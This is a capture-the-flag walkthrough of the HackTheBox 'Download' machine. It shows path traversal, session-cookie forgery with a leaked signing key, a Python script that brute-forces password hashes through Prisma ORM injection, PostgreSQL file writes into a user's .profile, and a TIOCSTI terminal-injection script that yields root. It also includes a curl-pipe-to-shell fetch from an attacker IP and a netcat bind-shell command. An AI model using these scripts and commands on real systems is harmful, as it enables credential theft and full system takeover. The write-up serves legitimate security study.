Download
Recon
HTTP (80)

We can upload files basically, but since it's not PHP or something no code exec.

There's no preview button, only download.
└─$ curl http://download.htb/files/download/73290c9d-9731-4eff-93e2-681297a87ffe -I
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 07 Dec 2024 10:55:27 GMT
Content-Type: application/octet-stream
Content-Length: 5386
Connection: keep-alive
X-Powered-By: Express
Content-Disposition: attachment; filename="about.html"
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Sat, 07 Dec 2024 10:53:18 GMT
ETag: W/"150a-193a0c09d66"
Set-Cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfX0=; path=/; expires=Sat, 14 Dec 2024 10:55:27 GMT; httponly
Set-Cookie: download_session.sig=4kbZR1kOcZNccDLxiSi7Eblym1E; path=/; expires=Sat, 14 Dec 2024 10:55:27 GMT; httponly
If we register we can upload files privately and also delete them.

Routes:
/files/download/{UUID} -> Download
/files/view/{UUID} -> View
/files/delete/{UUID} -> Delete
LFI
In the downloads I started testing for basic SQLi in the path, but nothing promising. It's either interacting with database or with files. Messing with slashes reveals it's most likely files.
http://download.htb/files/download/1a0da27b-84b2-406e-8e58-22408d580241 -> Downloads the file
http://download.htb/files/download/1a0da27b-84b2-406e-8e58-22408d580241/ -> Downloads the file
http://download.htb/files/download/1a0da27b-84b2-406e-8e58-22408d580241%2F -> Downloads the file
http://download.htb/files/download//1a0da27b-84b2-406e-8e58-22408d580241 -> 404
http://download.htb/files/download/%2F1a0da27b-84b2-406e-8e58-22408d580241 -> Downloads the file

└─$ curl http://download.htb/files/download/..%2Fapp.js -so app.js
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
const express_1 = __importDefault(require("express"));
const nunjucks_1 = __importDefault(require("nunjucks"));
const path_1 = __importDefault(require("path"));
const cookie_parser_1 = __importDefault(require("cookie-parser"));
const cookie_session_1 = __importDefault(require("cookie-session"));
const flash_1 = __importDefault(require("./middleware/flash"));
const auth_1 = __importDefault(require("./routers/auth"));
const files_1 = __importDefault(require("./routers/files"));
const home_1 = __importDefault(require("./routers/home"));
const client_1 = require("@prisma/client");
const app = (0, express_1.default)();
const port = 3000;
const client = new client_1.PrismaClient();
const env = nunjucks_1.default.configure(path_1.default.join(__dirname, "views"), {
autoescape: true,
express: app,
noCache: true,
});
app.use((0, cookie_session_1.default)({
name: "download_session",
keys: ["8929874489719802418902487651347865819634518936754"],
maxAge: 7 * 24 * 60 * 60 * 1000,
}));
app.use(flash_1.default);
app.use(express_1.default.urlencoded({ extended: false }));
app.use((0, cookie_parser_1.default)());
app.use("/static", express_1.default.static(path_1.default.join(__dirname, "static")));
app.get("/", (req, res) => {
res.render("index.njk");
});
app.use("/files", files_1.default);
app.use("/auth", auth_1.default);
app.use("/home", home_1.default);
app.use("*", (req, res) => {
res.render("error.njk", { statusCode: 404 });
});
app.listen(port, process.env.NODE_ENV === "production" ? "127.0.0.1" : "0.0.0.0", () => {
console.log("Listening on ", port);
if (process.env.NODE_ENV === "production") {
setTimeout(async () => {
await client.$executeRawUnsafe(`COPY (SELECT "User".username, sum("File".size) FROM "User" INNER JOIN "File" ON "File"."authorId" = "User"."id" GROUP BY "User".username) TO '/var/backups/fileusages.csv' WITH (FORMAT csv);`);
}, 300000);
}
});
It's executing an unsafe SQL query, the client is Prisma. We can't read files outside application root, nginx complains that it's a bad request.
home.js
is getting files based on where
query and the author
is basically querying for JSON object; if we can change the user
in our session we can access other users files
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) { return (mod && mod.__esModule) ? mod : { "default": mod } };
Object.defineProperty(exports, "__esModule", { value: true });
const client_1 = require("@prisma/client");
const express_1 = __importDefault(require("express"));
const auth_1 = __importDefault(require("../middleware/auth"));
const client = new client_1.PrismaClient();
const router = express_1.default.Router();
router.get("/", auth_1.default, async (req, res) => {
const files = await client.file.findMany({
where: { author: req.session.user },
select: {
id: true,
uploadedAt: true,
size: true,
name: true,
private: true,
authorId: true,
author: {
select: {
username: true,
},
},
},
});
res.render("home.njk", { files });
});
exports.default = router;
Without digging to much source code, ChatGPT says that cookies are generally signed with HMAC

Our download_session.sig
cookie is length of 40, meaning SHA1
└─$ echo 'SRrUAnuM7w-IdSKflXDYMumnqwM=' | basenc -d --base64url | xxd -p | wc -c
41
└─$ echo 'x' | sha1sum | awk '{print($1)}' | wc -c
41
Note: 41 because of newline, SHA1 length is 40
Cookie signing process takes the key=value
, gets SHA1 HMAC value and stored it inside cookie.sig
value. Recipe

For some odd reason the application didn't like =
in cookies and that took way too long to figure out...
import hmac
from hashlib import sha1
from base64 import urlsafe_b64decode, urlsafe_b64encode
import json
from requests import Session
from bs4 import BeautifulSoup as BS
COOKIE = b'eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfSwidXNlciI6eyJpZCI6MTYsInVzZXJuYW1lIjoidGVzdDAyIn19'
KEY = b'8929874489719802418902487651347865819634518936754'
URL = 'http://download.htb/home/'
def sign(cookie, key):
return urlsafe_b64encode(hmac.digest(msg=cookie, key=key, digest=sha1)).decode()
def change_id(cookie, id_, key):
cookie_value = json.loads(urlsafe_b64decode(cookie).decode())
cookie_value['user']['id'] = id_
del cookie_value['user']['username']
cookie_value = urlsafe_b64encode(json.dumps(cookie_value).encode()).decode().strip('=')
cookie_key_value = f'download_session={cookie_value}'
cookie_signature = sign(cookie_key_value.encode(), key).strip('=')
cookie_signature = f'download_session.sig={cookie_signature}'
cookies = f'{cookie_signature}; {cookie_key_value}'
return cookies
with Session() as session:
session.proxies = {'http': 'http://127.0.0.1:8080'}
for i in range(16):
cookies = change_id(COOKIE, i, KEY)
resp = session.get(URL, headers={'Cookie': cookies})
html = BS(resp.text, 'html.parser')
username = html.find_all('div', class_='container')[1].find('h2').text
print(cookies)
print(username)
print('- ' * 16)
Some users have upload, but it's not in Hey <USERNAME>!
. Upload by <USERNAME>
has them.

If we change the cookies any of them we can access the files. Above pdfs are only samples, No information disclosure.
https://book.hacktricks.xyz/pentesting-web/orm-injection#prisma-orm-nodejshttps://www.elttam.com/blog/plorming-your-primsa-orm/
From the source we know the column name so we can bruteforce the md5 hashed passwords (and hopefully crack them)
const hashPassword = (password) => { return node_crypto_1.default.createHash("md5").update(password).digest("hex"); };
router.post("/login", async (req, res) => {
...
const user = await client.user.findFirst({
where: { username: data.username, password: hashPassword(data.password) },
});
The above blog had template which was using Threading, but when dealing with HTTP it's better to use something like aiohttp
import asyncio
from base64 import urlsafe_b64decode, urlsafe_b64encode
from hashlib import sha1
import hmac
import json
import string
from colorama import Fore, Style
from aiohttp import ClientSession
import re
URL = "http://download.htb/home/"
CHARSET = string.hexdigits
COOKIE = b'eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfSwidXNlciI6eyJpZCI6MTYsInVzZXJuYW1lIjoidGVzdDAyIn19'
KEY = b'8929874489719802418902487651347865819634518936754'
SUCCESS = 'Uploaded By'
def sign(cookie, key):
return urlsafe_b64encode(hmac.digest(msg=cookie, key=key, digest=sha1)).decode()
def inject_cookie(cookie, id_, password, key):
cookie_value = json.loads(urlsafe_b64decode(cookie).decode())
cookie_value['user']['id'] = id_
cookie_value['user']['password'] = {'startsWith': password}
del cookie_value['user']['username']
cookie_value_encoded = urlsafe_b64encode(json.dumps(cookie_value).encode()).decode().replace('=', '')
cookie_value_encoded = f'download_session={cookie_value_encoded}'
cookie_signature = sign(cookie_value_encoded.encode(), key).replace('=', '')
cookie_signature = f'download_session.sig={cookie_signature}'
cookies = f'{cookie_signature}; {cookie_value_encoded}'
return cookie_value, cookies
async def fetch(session, values, cookies):
async with session.get(f'{URL}?values={values["user"]}', headers={'Cookie': cookies}, proxy='http://127.0.0.1:8080') as resp:
text = await resp.text()
if SUCCESS in text:
username = re.search('<strong>Uploaded By: </strong>(.*)<br />', text).group(1)
return username
return False
async def main():
passwords = {}
async with ClientSession() as session:
for id_ in range(1, 16):
password = ""
while True:
session.cookie_jar.clear()
print(f"\r{Fore.RED}[{id_}] Password: {Fore.YELLOW}{Style.BRIGHT}{password}{Style.RESET_ALL}", end="")
tasks = [
fetch(session, *inject_cookie(COOKIE, id_, password + c, KEY))
for c in CHARSET
]
results = await asyncio.gather(*tasks)
for i, result in enumerate(results):
if result:
password += CHARSET[i]
if id_ not in passwords:
passwords[id_] = result
break
else:
print(f"\r{Fore.RED}[{id_}] Password for {passwords.get(id_, 'INVALID')}: {Fore.YELLOW}{Style.BRIGHT}{password}{Style.RESET_ALL}", flush=True)
break
if __name__ == "__main__":
asyncio.run(main())
[1] Password for WESLEY: f88976c10af66915918945b9679b2bd3
[2] Password for Hindermate: 7f004f3ea002493ac665b8821a8dd0d2
[3] Password for Bold_pecAplomb: 919a7a3bf5997732255b03c243e08d03
[4] Password for Tabific: 1cc22f79d17c875bdabba23412ac52a6
[5] Password for AyufmApogee: 1ad02d2814a55bb2375aa97999d9fc58
[6] Password for Jalouse: b97a3c6816d5a534f14f2341170a1f05
[7] Password for Logorrhea: dbe74c9a4cfd2fa6d2d6d99bf95444d9
[8] Password for INVALID:
[9] Password for Pestiferous: eedaed9d9b18c447790516d3b9fbaf06
[10] Password for Antilogism: e05fd469ebdad9532a31d48d54456e1b
[11] Password for Vivacious: 53686fffb7555c7396651648061f0f45
[12] Password for Rooirhebok: 87e9d9bc6be6542dc15e47f22d45556c
[13] Password for Apoplectic: 40808a8a9354b55a65827ec4c8342086
[14] Password for StrachanMilt: f8de835623d1deaa482b8e113b4b3bf1
[15] Password for ZitaShneee: c9487ca1e6dc84863a39bcdcc5d525f7

SSH (22)
Creds:
wesley:dunkindonuts
└─$ sshpass -p 'dunkindonuts' ssh wesley@download.htb
wesley@download:~$ id
uid=1000(wesley) gid=1000(wesley) groups=1000(wesley)
User.txt
wesley@download:~$ cat user.txt
c141f34ecf3352f4dd79f2b6c6df903e
Privilege Escalation (postgres)
wesley@download:~$ sudo -l
Sorry, user wesley may not run sudo on download.
wesley@download:~$ curl 10.10.14.113/lp.sh|sh|tee /tmp/lp.log
╔══════════╣ Operative system
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits
Linux version 5.4.0-155-generic (buildd@lcy02-amd64-103) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #172-Ubuntu SMP Fri Jul 7 16:10:02 UTC 2023
Distributor ID: Ubuntu
Description: Ubuntu 20.04.6 LTS
Release: 20.04
Codename: focal
╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version
Sudo version 1.8.31
╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester
Vulnerable to CVE-2021-3560 # IN ORANGE
╔══════════╣ Running processes (cleaned)
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes
root 20205 0.0 0.2 13820 8796 ? Ss 13:45 0:00 _ sshd: root@notty
root 23320 0.0 0.2 13812 8908 ? Ss 13:47 0:00 _ sshd: root@pts/1
root 23407 0.0 0.1 8272 5024 pts/1 Ss 13:47 0:00 _ -bash
root 23418 0.0 0.0 7104 3888 pts/1 S 13:47 0:00 _ /bin/bash -i ./manage-db
root 23427 0.0 0.0 8436 3880 pts/1 S 13:47 0:00 _ su -l postgres
postgres 23428 0.0 0.1 8272 5120 pts/1 S 13:47 0:00 _ -bash
postgres 23495 0.1 0.2 24664 10212 pts/1 S+ 13:47 0:00 _ /usr/lib/postgresql/12/bin/psql
root 871 0.0 0.0 51204 1512 ? Ss 09:59 0:00 nginx: master process /usr/sbin/nginx -g daemon[0m on; master_process on;
www-data 872 0.2 0.1 52180 6432 ? S 09:59 0:36 _ nginx: worker process
www-data 873 0.2 0.1 52932 7184 ? S 09:59 0:35 _ nginx: worker process
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
╔══════════╣ Users with console
postgres:x:113:118:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
root:x:0:0:root:/root:/bin/bash
wesley:x:1000:1000:wesley:/home/wesley:/bin/bash
╔══════════╣ Last time logon each user
Username Port From Latest
root pts/1 127.0.0.1 Sat Dec 7 13:47:24 +0000 2024
wesley pts/0 10.10.14.113 Sat Dec 7 13:45:18 +0000 2024
╔══════════╣ Useful software
/usr/bin/base64
/usr/bin/curl
/usr/bin/nc
/usr/bin/netcat
/usr/bin/perl
/usr/bin/ping
/usr/bin/python3
/usr/bin/socat
/usr/bin/sudo
/usr/bin/wget
╔══════════╣ Unexpected in root
/.bash_history
lrwxrwxrwx 1 root root 34 Apr 21 2023 /etc/nginx/sites-enabled/default -> /etc/nginx/sites-available/default
-rw-r--r-- 1 root root 2388 Apr 21 2023 /etc/nginx/nginx.conf
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
events {
worker_connections 768;
}
http {
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 2048;
include /etc/nginx/mime.types;
default_type application/octet-stream;
ssl_prefer_server_ciphers on;
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;
gzip on;
include /etc/nginx/conf.d/*.conf;
server {
listen 80;
root /var/www/app;
index index.html index.htm index.nginx-debian.html;
server_name download.htb;
location / {
proxy_pass http://127.0.0.1:3000;
proxy_http_version 1.1;
proxy_cache_bypass $http_upgrade;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Forwarded-Host $host;
proxy_set_header X-Forwarded-Port $server_port;
}
}
server {
listen 80 default;
server_name _;
location / {
return 301 http://download.htb;
}
}
}


First I wanted to check if linpeas was right with CVE: CVE-2021-3560-Polkit-Privilege-Esclation
wesley@download:~$ ./poc.sh
[!] Username set as : secnigma
[!] No Custom Timing specified.
[!] Timing will be detected Automatically
[!] Force flag not set.
[!] Vulnerability checking is ENABLED!
[!] Starting Vulnerability Checks...
[!] Checking distribution...
[!] Detected Linux distribution as ubuntu
[!] Checking if Accountsservice and Gnome-Control-Center is installed
[x] ERROR: Accounts service and Gnome-Control-Center NOT found!!
[!] Aborting Execution!
No success there.
Sudo is also not vulnerable.
wesley@download:~$ python3 exploit_nss.py
Traceback (most recent call last):
File "exploit_nss.py", line 220, in <module>
assert check_is_vuln(), "target is patched"
AssertionError: target is patched
wesley@download:~$ curl 10.10.14.113/pspy -Os && chmod +x pspy
wesley@download:~$ ./pspy
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
...
2024/12/07 14:02:11 CMD: UID=0 PID=1041 | sshd: root@notty
2024/12/07 14:02:11 CMD: UID=0 PID=964 | /root/venv/bin/python3 /root/management.py
2024/12/07 14:02:11 CMD: UID=113 PID=939 | postgres: 12/main: logical replication launcher
2024/12/07 14:02:11 CMD: UID=113 PID=938 | postgres: 12/main: stats collector
2024/12/07 14:02:11 CMD: UID=113 PID=937 | postgres: 12/main: autovacuum launcher
2024/12/07 14:02:11 CMD: UID=113 PID=936 | postgres: 12/main: walwriter
2024/12/07 14:02:11 CMD: UID=113 PID=935 | postgres: 12/main: background writer
2024/12/07 14:02:11 CMD: UID=113 PID=934 | postgres: 12/main: checkpointer
2024/12/07 14:02:11 CMD: UID=113 PID=931 | /usr/lib/postgresql/12/bin/postgres -D /var/lib/postgresql/12/main -c config_file=/etc/postgresql/12/main/postgresql.conf
2024/12/07 14:02:11 CMD: UID=0 PID=910 | /sbin/agetty -o -p -- \u --noclear tty1 linux
...
2024/12/07 14:03:23 CMD: UID=0 PID=41467 | dirname /usr/bin/lesspipe
2024/12/07 14:03:23 CMD: UID=0 PID=41466 | /bin/sh /usr/bin/lesspipe
2024/12/07 14:03:23 CMD: UID=0 PID=41468 | -bash
2024/12/07 14:03:23 CMD: UID=0 PID=41469 | -bash
2024/12/07 14:03:23 CMD: UID=0 PID=41470 | /bin/bash -i ./manage-db
2024/12/07 14:03:23 CMD: UID=0 PID=41471 | /bin/bash -i ./manage-db
2024/12/07 14:03:23 CMD: UID=0 PID=41472 | /bin/bash -i ./manage-db
2024/12/07 14:03:23 CMD: UID=0 PID=41473 | basename /usr/bin/lesspipe
2024/12/07 14:03:23 CMD: UID=0 PID=41475 | dirname /usr/bin/lesspipe
2024/12/07 14:03:23 CMD: UID=0 PID=41474 | /bin/sh /usr/bin/lesspipe
2024/12/07 14:03:23 CMD: UID=0 PID=41476 | /bin/bash -i ./manage-db
2024/12/07 14:03:23 CMD: UID=0 PID=41477 | systemctl status postgresql
2024/12/07 14:03:23 CMD: UID=0 PID=41478 | systemctl status download-site
2024/12/07 14:03:23 CMD: UID=0 PID=41479 | su -l postgres
2024/12/07 14:03:23 CMD: UID=113 PID=41480 | su -l postgres
2024/12/07 14:03:23 CMD: UID=113 PID=41481 | groups
2024/12/07 14:03:23 CMD: UID=113 PID=41482 | -bash
2024/12/07 14:03:23 CMD: UID=113 PID=41484 | -bash
2024/12/07 14:03:23 CMD: UID=113 PID=41483 | locale
2024/12/07 14:03:28 CMD: UID=113 PID=41485 | /usr/bin/perl /usr/bin/psql
2024/12/07 14:03:28 CMD: UID=113 PID=41487 | /bin/bash /usr/bin/ldd /usr/lib/postgresql/12/bin/psql
2024/12/07 14:03:28 CMD: UID=113 PID=41486 | /bin/bash /usr/bin/ldd /usr/lib/postgresql/12/bin/psql
2024/12/07 14:03:28 CMD: UID=113 PID=41488 | /bin/bash /usr/bin/ldd /usr/lib/postgresql/12/bin/psql
2024/12/07 14:03:28 CMD: UID=113 PID=41490 | /bin/bash /usr/bin/ldd /usr/lib/postgresql/12/bin/psql
2024/12/07 14:03:28 CMD: UID=113 PID=41492 | /bin/bash /usr/bin/ldd /usr/lib/postgresql/12/bin/psql
2024/12/07 14:03:28 CMD: UID=113 PID=41491 | /bin/bash /usr/bin/ldd /usr/lib/postgresql/12/bin/psql
2024/12/07 14:03:28 CMD: UID=113 PID=41493 | postgres: 12/main: postgres postgres [local] authentication
Anyway.. let's leave that for now because frankly I have no clue what's going on and second we need postgres user.
There's no .env
in application and postgres is somehow working. Prisma supports connecting postgres so that must be it. https://www.prisma.io/docs/orm/overview/databases/postgresql. In the example we see it's using env()
so somewhere it's getting passed credentials from environment.
wesley@download:/var/www$ systemctl |grep download
download-site.service loaded active running Download.HTB Web Application
apt-daily.timer loaded active waiting Daily apt download activities
wesley@download:/var/www$ find /var -name download-site.service 2>/dev/null
wesley@download:/var/www$ find /etc -name download-site.service 2>/dev/null
/etc/systemd/system/download-site.service
/etc/systemd/system/multi-user.target.wants/download-site.service
wesley@download:/var/www$ cat /etc/systemd/system/download-site.service
[Unit]
Description=Download.HTB Web Application
After=network.target
[Service]
Type=simple
User=www-data
WorkingDirectory=/var/www/app/
ExecStart=/usr/bin/node app.js
Restart=on-failure
Environment=NODE_ENV=production
Environment=DATABASE_URL="postgresql://download:CoconutPineappleWatermelon@localhost:5432/download"
[Install]
WantedBy=multi-user.target
Privilege Escalation (root)
wesley@download:~$ PGPASSWORD='CoconutPineappleWatermelon' psql -h localhost -U download -d download
psql (12.15 (Ubuntu 12.15-0ubuntu0.20.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.
download=> \l
List of databases
Name | Owner | Encoding | Collate | Ctype | Access privileges
-----------+----------+----------+-------------+-------------+-----------------------
download | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =Tc/postgres + postgres=CTc/postgres + download=CTc/postgres
postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres + postgres=CTc/postgres
template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres + postgres=CTc/postgres
download-> \dt
List of relations
Schema | Name | Type | Owner
--------+--------------------+-------+----------
public | File | table | download
public | User | table | download
public | _prisma_migrations | table | download
download=> \du
List of roles
Role name | Attributes | Member of
-----------+------------------------------------------------------------+-------------------------
download | | {pg_write_server_files}
postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {}
download=> SELECT * FROM "User";
id | username | password
----+----------------+----------------------------------
1 | WESLEY | f88976c10af66915918945b9679b2bd3
2 | Hindermate | 7f004f3ea002493ac665b8821a8dd0d2
3 | Bold_pecAplomb | 919a7a3bf5997732255b03c243e08d03
4 | Tabific | 1cc22f79d17c875bdabba23412ac52a6
5 | AyufmApogee | 1ad02d2814a55bb2375aa97999d9fc58
6 | Jalouse | b97a3c6816d5a534f14f2341170a1f05
7 | Logorrhea | dbe74c9a4cfd2fa6d2d6d99bf95444d9
8 | MotelKebbie | 3bb67f4c84fb4130f81c0f5f147a41c3
9 | Pestiferous | eedaed9d9b18c447790516d3b9fbaf06
10 | Antilogism | e05fd469ebdad9532a31d48d54456e1b
11 | Vivacious | 53686fffb7555c7396651648061f0f45
12 | Rooirhebok | 87e9d9bc6be6542dc15e47f22d45556c
13 | Apoplectic | 40808a8a9354b55a65827ec4c8342086
14 | StrachanMilt | f8de835623d1deaa482b8e113b4b3bf1
15 | ZitaShneee | c9487ca1e6dc84863a39bcdcc5d525f7
16 | test02 | 4d5e2a885578299e5a5902ad295447c6
17 | ${{<%[%'"}}%\ | d9adf054aa8466a9426a1fcfb811a47c
(17 rows)
Postgres has home and we can write to files. Because this user logs in frequently we can hijack the .bashrc
wesley@download:~$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
wesley:x:1000:1000:wesley:/home/wesley:/bin/bash
postgres:x:113:118:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
wesley@download:/var/lib/postgresql$ ls -Alh
total 8.0K
drwxr-xr-x 3 postgres postgres 4.0K Apr 21 2023 12
-rw------- 1 postgres postgres 5 Dec 7 14:26 .bash_history
-rw------- 1 postgres postgres 0 Dec 7 14:26 .psql_history
download=> COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab';
COPY 1
---
wesley@download:/var/lib/postgresql$ cat /tmp/pentestlab
nc -lvvp 2346 -e /bin/bash
Note: How were you supposed to fucking find this, I have no clue...
Ippsec: HackTheBox - Download explains a bit better, but I guess you just have to know the trend or smth.... 🤔
└─$ man su
...
For backward compatibility, su defaults to not change the current directory and to only set the environment variables HOME and SHELL (plus USER and LOGNAME if the target user is not root). It is
recommended to always use the --login option (instead of its shortcut -) to avoid side effects caused by mixing environments.
...
The oldest privesc: injecting careless administrators' terminals using TTY pushback
Basically it's because pts
is preserved and new is not created for running user (I think? 💭) and it happens because su [-|-l|--login] username
root 45827 0.0 0.0 7104 3816 pts/3 S 14:52 0:00 /bin/bash -i ./manage-db
root 45836 0.0 0.0 8436 3784 pts/3 S 14:52 0:00 su -l postgres
postgres 45837 0.6 0.1 8272 5104 pts/3 S+ 14:52 0:00 -bash
wesley 45843 0.0 0.0 8888 3384 pts/2 R+ 14:52 0:00 ps aux
wesley 45844 0.0 0.0 6432 720 pts/2 R+ 14:52 0:00 grep --color=auto postgres -B1
wesley@download:/tmp$ vi letmein.py
Garbled time
wesley@download:/tmp$ cat letmein.py
#!/usr/bin/env python3
import fcntl
import termios
import os
import sys
import signal
os.kill(os.getppid(), signal.SIGSTOP)
for char in 'install -m4777 /bin/bash /tmp/rootbash\n':
fcntl.ioctl(0, termios.TIOCSTI, char)
wesley@download:/tmp$ chmod +x letmein.py
Write to .bashrc
for postgres
download=> COPY (SELECT '/tmp/letmein.py') TO '/var/lib/postgresql/.bashrc';
COPY 1
.bashrc
doesn't work, try .profile
download=> COPY (SELECT '/tmp/letmein.py') TO '/var/lib/postgresql/.profile';
COPY 1
What goes in ~/.profile and ~/.bashrc?
Root.txt
wesley@download:/tmp$ /tmp/rootbash -p
rootbash-5.0# id
uid=1000(wesley) gid=1000(wesley) euid=0(root) groups=1000(wesley)
rootbash-5.0# cat /root/root.txt
1ba409527ea8f88e8aeccad70d4b666b
Last updated